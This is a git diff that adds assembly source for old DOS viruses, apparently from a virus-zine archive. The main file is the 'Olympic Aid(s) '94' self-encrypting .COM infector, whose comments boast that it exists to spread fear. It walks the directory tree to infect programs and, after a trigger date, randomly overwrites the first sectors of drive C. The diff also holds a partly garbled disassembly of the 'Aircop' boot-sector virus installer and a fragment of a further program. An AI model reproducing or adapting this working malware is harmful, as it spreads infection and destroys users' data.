; 'A' + mov dx,0C1Dh + mov di,0 + call sub_85 + retn + +; External Entry into Subroutine + +sub_83: + call sub_82 + call sub_84 + retn + +; External Entry into Subroutine + +sub_84: + mov al,42h ; 'B' + mov dx,0E1Dh + mov di,1 + call sub_85 + retn + +; External Entry into Subroutine + +sub_85: + mov data_225,al + mov si,2C8Bh + call sub_14 + mov al,[di+0Dh] + nop ;*ASM fixup - displacement + cbw ; Convrt byte to word + add ax,ax + mov si,ax + mov bx,offset data_32 + mov si,[bx+si] + call sub_15 + retn + +; External Entry into Subroutine + +sub_86: + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + ;* undocumented function + mov data_231,bx + mov ax,300Eh + mov data_232,ax + xor ax,ax ; Zero register +loc_269: + mov ds,ax + xor si,si ; Zero register + cld ; Clear direction + lodsb ; String [si] to al + cmp al,4Dh ; 'M' + je loc_271 ; Jump if equal +loc_270: + push ds + pop ax + inc ax + jmp short loc_269 +loc_271: + push ds + mov si,data_3e + lodsw ; String [si] to ax + pop bx + add bx,ax + inc bx + jc loc_270 ; Jump if carry Set + cmp cs:data_231,bx + jb loc_270 ; Jump if below + push ds + mov ds,bx + cmp byte ptr ds:data_17e,4Dh ; 'M' + nop ;*ASM fixup - sign extn byte + je loc_272 ; Jump if equal + pop ds + jmp short loc_270 +loc_272: + mov di,cs:data_232 + push cs + pop es + mov bx,ds + pop ds + mov ax,ds + stosw ; Store ax to es:[di] + mov ax,bx + stosw ; Store ax to es:[di] + mov ds,bx +loc_273: + push ds + mov si,data_3e + lodsw ; String [si] to ax + pop bx + add bx,ax + inc bx + mov ax,bx + stosw ; Store ax to es:[di] + mov ds,bx + xor si,si ; Zero register + lodsb ; String [si] to al + cmp al,5Ah ; 'Z' + jne loc_273 ; Jump if not equal + xor ax,ax ; Zero register + stosw ; Store ax to es:[di] + push cs + pop ds + mov si,di + sub si,6 + lodsw ; String [si] to ax + mov data_26,ax + lodsw ; String [si] to ax + mov data_27,ax + mov si,offset data_233 +loc_274: + mov ax,[si] + cmp ax,0 + je loc_275 ; Jump if equal + mov es,ax + mov ax,es:data_2e + add ax,10h + mov es,ax + mov di,data_18e + cmp word ptr es:[di],0EBFEh + je loc_276 ; Jump if equal + add si,2 + jmp short loc_274 +loc_275: + push cs + pop es + retn +loc_276: + mov dx,offset data_221 ; ('') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_277: + call sub_11 + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +sub_80 endp + + +; +; SUBROUTINE +; + +sub_87 proc near + push es + push ax + push si + push dx + mov ah,35h ; '5' + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + pop dx + pop si + pop ax + mov [si],bx + mov [si+2],es + mov ah,25h ; '%' + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + retn +sub_87 endp + + +; +; SUBROUTINE +; + +sub_88 proc near +loc_278: + call sub_19 + mov dh,8 + mov dl,17h + mov si,2C65h + call sub_14 + mov al,data_28 + cbw ; Convrt byte to word + dec al + mov di,ax + add di,di + mov bx,offset data_229 + call word ptr [bx+di] ;* + mov dh,12h + mov dl,18h + mov si,2C9Eh + call sub_14 + call sub_13 +loc_279: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,0Dh + je loc_ret_282 ; Jump if equal + cmp al,1Bh + jne loc_280 ; Jump if not equal + jmp short loc_ret_282 + db 90h +loc_280: + and al,0DFh + cmp al,59h ; 'Y' + je loc_ret_282 ; Jump if equal + cmp al,4Eh ; 'N' + je loc_281 ; Jump if equal + call sub_11 + jmp short loc_279 +loc_281: + call sub_89 + +loc_ret_282: + retn +sub_88 endp + + +; +; SUBROUTINE +; + +sub_89 proc near + call sub_19 + mov dh,12h + mov dl,0Eh + mov si,2CC2h + call sub_14 + call sub_13 +loc_283: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,31h ; '1' + jge loc_285 ; Jump if > or = +loc_284: + call sub_11 + jmp short loc_283 +loc_285: + cmp al,32h ; '2' + jg loc_284 ; Jump if > + mov data_224,al + and al,0Fh + mov data_28,al + cbw ; Convrt byte to word + push ax + mov dh,8 + mov dl,17h + mov si,2C65h + call sub_14 + mov al,41h ; 'A' + mov byte ptr data_227+62h,al ; ('') + xor di,di ; Zero register + mov bx,0Dh +loc_286: + mov dh,12h + mov dl,0Eh + mov si,2CF8h + call sub_14 + call sub_13 + mov al,33h ; '3' + mov data_102,al + mov data_89,2FCDh + call sub_16 + mov [bx+di],al + push bx + push di + shl di,1 ; Shift w/zeros fill + mov bx,offset data_229 + call word ptr [bx+di] ;* + pop di + pop bx + inc di + pop ax + cmp di,ax + je loc_287 ; Jump if equal + push ax + inc byte ptr data_227+62h ; ('') + jmp short loc_286 +loc_287: + pop ax + jmp loc_278 +sub_89 endp + +data_229 dw offset sub_82 +data_230 dw offset sub_83 +data_231 dw 0 +data_232 dw 0 +data_233 dw 100 dup (0) + +seg_a ends + + + + end start diff --git a/a/AID(S).ASM b/a/AID(S).ASM new file mode 100755 index 0000000..a9f4f43 --- /dev/null +++ b/a/AID(S).ASM @@ -0,0 +1,542 @@ + ; VirusName: Olympic Aid(s) '94 + ; Origin : Norway + ; Author : The Penetrator + ; Date : 1/01/1994 + ; + ; Hopefully the Olympics at Lillehammer is over when you read this + ; shit.This virus was made only for creating fear, and some publicity. + ; + ; Anyway this is a new selfencrypting non-overwriting *.COM infector... + ; And YES, it may (and WILL) harm you. It's a 10% chanse for a Major + ; ScrewUp (NO ScrewUps before February the 12th. Just to give it some + ; time to spread) + ; + ; And I have to send some fuckings to Norman Data Defence Systems in + ; Drammen, Norway. They is fucking up the BBS scene here in Norway + ; right now! + ; // The Penetrator/NORWAY + ; ----------- + ; (Now follows Immortal Riot comments!); + ; This is the virus, WE got accused for writing, how silly! Anyhow + ; I picked this one up from a dude in Norway, and he told me that + ; I could include it in our magazine, or whatever. + ; + ; It's nothing fancy or something, but hey! it surely was easy + ; publicity!, too bad that the papers accused US for doing it.. + ; We didn't, this is just a contribution from our friends in Norway, + ; that we picked up AFTER we'd got the silly F-bull 2.11, and had to + ; investigate the situation. + ; + ; I've in this version recieved another ansi-screen to include, dunno + ; about the last one.. Anyhow, this is as The Penetrate said a non-ow + ; .COM infector. It searches the whole directory tree of files to + ; infect, thus making it slow when its spreads trough the drive. It's + ; also highly destructive (NM.NUKE.VCL.256.TRASH). Some code resembles + ; of VCL based code, but if you want to read more about it, just read + ; our article about VCL.Olympic also included in Insane Reality issue4. + ; + ; HAHA!, Norway, Sweden got 24 gold-medals from the Olympic.Games + ; (If the ice-hockey counts!!), just as I told you! Haha!, AND give + ; my best to Beate (can't you give girls REAL-names in Norway??). + ; + ; Thanks to All Norweigian contributors // The Unforgiven/Immortal Riot. + ; + ; ----------- + ; OLYMPIC AID(S) '94 + ; ----------- + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + + + ; -- JUST FOR FIRST TIME INSTALLING ----- + +main proc near + db 0E9h,00h,00h ; Near Jump + + ; -- S T A R T O F V I R I I ----- + +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; We love POP'ing + push bp ; and PUSH'ing + pop bp ; bp's + sub bp,offset find_offset ; Adjust for length of host + +GeneticChange: MOV byte ptr [BP+GeneticChange+4],001h ; + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + + mov cx,0005h ; Do X infections +search_loop: push cx ; Save CX + add byte ptr [DI+GeneticChange+4],001h ; Some BullShit!!! + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + + ; -- CHECKING DATE/TIME FOR OLYMPIC START -- + +CheckDate: mov ah,2ah + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + + cmp DH,2h ; February + jB NoFuckUp + cmp DL,12 ; The Olympics is starting + jB NoFuckUp ; the 12 th. + + mov ah,2Ch + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + cmp DL,10 ; 10 % chanse for... + jA NoFuckUp + +Yeah: jmp OL1994 ; ScrewUp... + + + ; -- RETURN NICELY AND QUIET TO INFECTED FILE -- + +NoFuckUp: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + +; -- LET'S LOOK AT THE OLYMPIC RINGS ---- + +OL1994: mov ah,0Fh ; BIOS get video mode function + int 010h + xor ah,ah ; BIOS set video mode function + int 010h ; (Clear Screen) + + lea si,[di + AnsiData] ; SI points to data + mov cx,AnsiEnd-AnsiData ; Data Length + + JCXZ Done + + xor di,di + mov ax,0b800h + mov es,ax + + MOV DX,DI ;Save X coordinate for later. + XOR AX,AX ;Set Current attributes. + CLD + +LOOPA: LODSB ;Get next character. + CMP AL,32 ;If a control character, jump. + JC ForeGround + STOSW ;Save letter on screen. +Next: LOOP LOOPA + JMP Short Done + +ForeGround: + CMP AL,16 ;If less than 16, then change the + JNC BackGround ;foreground color. Otherwise jump. + AND AH,0F0H ;Strip off old foreground. + OR AH,AL + JMP Next + +BackGround: + CMP AL,24 ;If less than 24, then change the + JZ NextLine ;background color. If exactly 24, + JNC FlashBitToggle ;then jump down to next line. + SUB AL,16 ;Otherwise jump to multiple output + ADD AL,AL ;routines. + ADD AL,AL + ADD AL,AL + ADD AL,AL + AND AH,8FH ;Strip off old background. + OR AH,AL + JMP Next + +NextLine: + ADD DX,160 ;If equal to 24, + MOV DI,DX ;then jump down to + JMP Next ;the next line. + +FlashBitToggle: + CMP AL,27 ;Does user want to toggle the blink + JC MultiOutput ;attribute? + JNZ Next + XOR AH,128 ;Done. + JMP Next + +MultiOutput: + CMP AL,25 ;Set Z flag if multi-space output. + MOV BX,CX ;Save main counter. + LODSB ;Get count of number of times + MOV CL,AL ;to display character. + MOV AL,32 + JZ StartOutput ;Jump here if displaying spaces. + LODSB ;Otherwise get character to use. + DEC BX ;Adjust main counter. + +StartOutput: + XOR CH,CH + INC CX + REP STOSW + MOV CX,BX + DEC CX ;Adjust main counter. + LOOPNZ LOOPA ;Loop if anything else to do... +Done: + + + ; -- HAAKON & KRISTIN SCREWS UP -------- + + +TrashHD: CLI ; Disable interrupts + mov ax,0002h ; DRIVE C: + mov cx,100h ; Sectors (100hex=256DEC!) + XOR DX,DX ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt +EndlessLoop: JMP EndlessLoop ; Boring...ehh??? + + + ; -- FIND FILES ------- + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + + ; -- FIND MORE FILES ------- + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + + ; -- FUCK A FILE ------- + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + ; -- CRUNCHED OLYMPIC RINGS ------ + +AnsiData: DB 15,16,24,24,24,1,26,17,' ',15,'L i l l e h a' + DB ' m m e r ',39,' 9 4 ',1,26,17,'',24,24,25,20 + DB 'Haakon And Kristin Blew It Up Again...',24,25,19,26,5 + DB '',25,10,8,26,5,'',25,10,4,26,5,'',24,25,16,1,'' + DB '',25,3,'',25,4,8,'',25,3,'',25,4,4,'' + DB '',25,3,'',24,25,15,1,'',25,8,14,'',17,'',1 + DB 16,'',14,'',8,'',25,8,2,'',8,18,'',16,'',2,'' + DB '',4,'',25,9,'',24,25,14,1,'',25,6,14,' ' + DB 1,' ',8,'',14,'',25,4,2,' ',8,' ',20,' ',0 + DB '',2,16,'',25,9,4,'',24,25,14,1,'',25,5,14,'' + DB '',25,3,1,' ',8,' ',14,'',25,2,2,'',25,3,8,'' + DB ' ',4,' ',2,'',25,8,4,'',24,25,15,1,'',25,3,14 + DB '',25,3,1,'',25,2,8,' ',14,' ',2,'',25,3,8,'' + DB '',25,2,4,' ',2,'',25,6,4,'',24,25,16,1,'' + DB ' ',14,' ',1,'',25,4,8,'',14,' ',2,' ',8,'' + DB '',25,4,4,'',2,'',25,3,4,'',24,25,19,1,'' + DB '',14,17,'',1,16,'',25,8,14,'',8,'',2,'',8 + DB 18,'',16,'',25,8,2,'',4,26,5,'',24,25,23,14,'' + DB '',25,3,'',25,4,2,'',25,3,'',0,18,'',24 + DB 16,25,26,14,26,5,'',25,10,2,26,5,'',25,12,0,'1',24,1 + DB 'This Time They Have Been Fucking Around With The Ol' + DB 'ympic Computers, And Managed',24,25,2,'To Infect A ' + DB 'Lot Of Your Computers With A Little Tiny Destructiv' + DB 'e Virus...',24,24,'Now, Antonio, You Can',39,'t Let' + DB ' Them Runaway With This, Punish The Little Bastards' + DB '!',24,24,26,'O',24,24,24,24 +AnsiEnd: DB 0 + + + ; -- WRITE ENCRYPTED COPY ------- + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + + ; ----------- + + Note db " Olympic Aid(s) '94 " + db " (c) The Penetrator " + + ; -- ENCRYPT/DECRYPT ------- + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main + + + ; -- END OF STORY ------- \ No newline at end of file diff --git a/a/AIRCOP.ASM b/a/AIRCOP.ASM new file mode 100755 index 0000000..d33a47a --- /dev/null +++ b/a/AIRCOP.ASM @@ -0,0 +1,467 @@ +͸ + Aircop Virus (c)RABiD Source Code + Ripped by : The Head Hunter [FS] + + Seem's this baby only work on Bare 360k Drive + System. Neat Anywayz. And it's Undetectable! + + +; + MOV AX, CS + MOV DS, AX + MOV SP, 03b6h + MOV AH, 00h + MOV AL, 03h + INT 10h ;Set video mode + MOV DX, 052bh + MOV AH, 09h + INT 21h ;"AIRCOP Test Version" + MOV DX, 03c3h + MOV AH, 09h + INT 21h ;" + + MOV DX, 04e5h + MOV AH, 09h + INT 21h ;"Aircop Virus$Cannot" + MOV DX, 0464h + MOV AH, 09h + INT 21h ;"" into your 360K di" + MOV DX, 0480h + MOV AH, 09h + INT 21h ;"Put a 360K (Blank F" + MOV AX, 0040h + MOV ES, AX + + PUSH WORD PTR ES:[Data5] + + POP WORD PTR ES:[Data6] + MOV AX, CS + MOV ES, AX + MOV AH, 08h + INT 21h ;Get char w/o echo + MOV CX, 0003h + PUSH CX + MOV AX, 0201h + MOV BX, 05d0h + MOV CX, 0001h + MOV DX, 0000h + INT 13h ;Read disk sectors + POP CX + JNB Jmp0 + LOOP Data7 + MOV DX, 04f2h + MOV AH, 09h + INT 21h ;"Cannot read boot re" + MOV AX, 4cffh + INT 21h ;Exit + + XOR WORD PTR CS:[BP+Data17], 7420h + PUSH CX + MOV AX, 0301h + MOV BX, 05d0h + MOV CX, 2709h + MOV DX, 0100h + INT 13h ;Write disk sectors + POP CX + JNB Jmp4 + LOOP Data18 + MOV DX, 050eh + MOV AH, 09h + INT 21h ;"Cannot write boot r" + MOV AX, 4cffh + INT 21h ;Exit + + MOV CX, 0003h + PUSH CX + MOV AX, 0301h + MOV BX, 07d0h + MOV CX, 0001h + MOV DX, 0000h + INT 13h ;Write disk sectors + POP CX + JNB Jmp5 + LOOP Data20 + MOV DX, 057ch + MOV AH, 09h + INT 21h ;"Cannot write virus " + MOV AX, 4cffh + INT 21h ;Exit + + MOV DX, 04e5h + MOV AH, 09h + INT 21h ;"Aircop Virus$Cannot" + MOV DX, 059eh + MOV AH, 09h + INT 21h ;" was installed into" + MOV AX, 4c00h + INT 21h ;Exit + db 'STACK STACK STAC' + db 'K STACK STACK ' + db 'STACK STACK STAC' + db 'K STACK STACK ' + db 'STACK STACK STAC' + db 'K STACK STACK ' + db 'STACK STACK ' + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [BP+DI+Data9], DL + INC CX + INC BX + DEC BX + AND BYTE PTR [BX+SI], AH + AND BYTE PTR [DI], CL + + OR AL, BYTE PTR [BX+DI+Data11] + JZ Jmp1 + OUTSB + JZ Jmp2 + OUTSW + OUTSB + CMP AH, BYTE PTR [BX+SI] + PUSH SP + PUSH BYTE PTR [BX+DI+Data12], 7620h + db 'irus sample uses onl' + db 'y in research teams.' + db 0d,0a + db ' Please do' + db ' not use in joking o' + db 'r setting tra' + + XOR WORD PTR CS:[BX+SI], 6e69h + + XOR WORD PTR CS:[BP+SI+Data13], 2073h + OUTSW + OUTSB + AND BYTE PTR [BP+DI+Data14], DH + INSW + db 'eone.' + db 0d,0a,0d,0a + db 'Warning! This file i' + + XOR WORD PTR CS:[BX+Data15], 2e65h + db 'nstalls "$" into you' + + db 'r 360K disk!' + db 0d,0a,0d,0a,07 + db '$Put a 360K (Blank F' + + db 'ormatted) disk into ' + db 'drive A:' + db 0d,0a + db 'Strike any key to in' + db 'stall, or CTRL-BREAK' + db ' to quit.' + db 0d,0a + db '$Aircop Virus$Cannot' + + + db ' read boot record.' + db 0d,0a,07 + db '$Cannot write boot r' + + db 'ecord.' + db 0d,0a,07 + db '$AIRCOP Test Version' + + db ': Property of The RA' + db 'BID Nat'nl Developme' + db 'nt Corp. '91' + db 0d,0a,20,24,0d,0a,0d,0a,0d,0a + + db 'Cannot write virus b' + db 'oot record' + db 0d,0a,07 + db '$ was installed into' + + db ' this 360K disk. BE ' + db 'CAREFUL!' + db 0d,0a,24,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 